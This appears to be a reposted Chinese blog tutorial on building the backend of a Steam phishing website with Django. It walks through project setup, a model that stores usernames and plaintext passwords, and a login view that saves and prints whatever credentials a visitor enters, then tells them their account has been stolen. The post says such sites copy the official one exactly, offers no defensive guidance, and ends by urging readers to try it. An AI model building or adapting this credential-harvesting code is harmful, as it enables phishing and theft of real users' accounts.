欢迎访问 生活随笔!

生活随笔

当前位置: 首页 > 编程语言 > python >内容正文

python

用Python Django搭建简单一个steam钓鱼网站

发布时间:2024/1/1 python 49 豆豆
生活随笔 收集整理的这篇文章主要介绍了 用Python Django搭建简单一个steam钓鱼网站 小编觉得挺不错的,现在分享给大家,帮大家做个参考.

嗨嗨,我是小圆
有没有人遇到过自己的号被盗了的情况
我就遇到过,朋友给我分享一个链接稀里糊涂的点进去了,在输入密码的时候一直显示错误,没多久自己的号就被盗了。
这些网站之所以能骗得过别人,就是因为做的基本和正版的官方网站,没什么差别,可以说是一模一样。

今天就来教大家搭建一个这样的网站后端,简单还原一下被盗号的过程

环境搭建

安装Django模块
pip install django[==版本]

如:pip install django==3.0
安装django的指定版本

创建Django项目

在命令指示符里数据命令

django-admin startproject steam_web


manage.py是命令文件,如果要运行Django内置的命令,必须要通过这个文件才行

创建子应用
把网站的各个模块拆分成子应用

python manage.py startapp login


会生成一个login文件,打开文件


介绍下我们会用到的文件

models.py文件:数据模型
views.py文件:用来控制页面逻辑

查看项目是否环境配置成功

可以用pycharm直接打开文件,然后点击运行

运行后会给出一段域名,点击打开

如果出现下面的页面,就说明该项目环境配置成功了

开始实现功能

点击进入settings.py文件,进行定制化修改


Application definition 网站子应用进行注册,在最后一行写入login

# Application definition # 网站子应用进行注册 INSTALLED_APPS = ['django.contrib.admin','django.contrib.auth','django.contrib.contenttypes','django.contrib.sessions','django.contrib.messages','django.contrib.staticfiles','login', ]

创建一个templates文件,并修改代码

# templates 文件夹的配置项 TEMPLATES = [{'BACKEND': 'django.template.backends.django.DjangoTemplates','DIRS': [os.path.join(BASE_DIR, 'templates')],'APP_DIRS': True,'OPTIONS': {'context_processors': ['django.template.context_processors.debug','django.template.context_processors.request','django.contrib.auth.context_processors.auth','django.contrib.messages.context_processors.messages',],},}, ]

配置网站默认语言、时间

# 网站默认语言 英文 修改成中文 LANGUAGE_CODE = 'zh-hans' # 当前时间 TIME_ZONE = 'Asia/Shanghai'USE_I18N = TrueUSE_L10N = TrueUSE_TZ = False

最后在刷新网站页面,就变成了中文


静态页面当中的文件夹配置,并在总目录中创建一个static文件夹

STATIC_URL = '/static/' STATICFILES_DIRS = [os.path.join(BASE_DIR, 'static'), ]

导入所需文件



开始编写数据模型

打开**models.py文件,需要去创建一个模型类

from django.db import models# Create your models here.class User(models.Model):name = models.CharField(max_length=20)pwd = models.CharField(max_length=20)

编写视图

打开views.py文件,编写视图,是控制网站与用户的交互逻辑

# 渲染html文件到浏览器的 from django.shortcuts import render from django.views.generic import View from .models import User from django.http import HttpResponse # Create your views here.# 在浏览器中显示网站首页 def index(request):return render(request, 'index.html')# 登录类视图 class Login(View):def get(self, request):return render(request, 'denlu.html', locals())'''当用户在页面中输入了一些数据可以使用post去做接收'''def post(self, request):name = request.POST.get('username')pwd = request.POST.get('password')User.objects.create(name=name, pwd=pwd).save()print(name)print(pwd)return HttpResponse('你的账号已经被盗, 溜了 溜了~')

在urls.py文件里编写路由

from django.contrib import admin from django.urls import path from login.views import index, Loginurlpatterns = [path('admin/', admin.site.urls),path('', index, name='index'),path('login/', Login.as_view(), name='login') ]

同步数据库

因为只是个教学,所以用是自带的:sqlite3,文件型小型数据库

点击打开后,在这里输入makemigrations,这是将数据模型中的字段编译成一个Python的脚本,包含了sql语言

确定后会给你生成一个0001_initial.py文件

然后在执行脚本,输入 migrate 将数据模型映射到数据库中

运行文件,效果如下图

选择点击登录,输入账号密码,点击确定


然后你的账号密码会被打印出来

好了,分享到这里也就结束了,感兴趣的朋友去试试吧,记得给我点赞哦

总结

以上是生活随笔为你收集整理的用Python Django搭建简单一个steam钓鱼网站的全部内容,希望文章能够帮你解决所遇到的问题。

如果觉得生活随笔网站内容还不错,欢迎将生活随笔推荐给好友。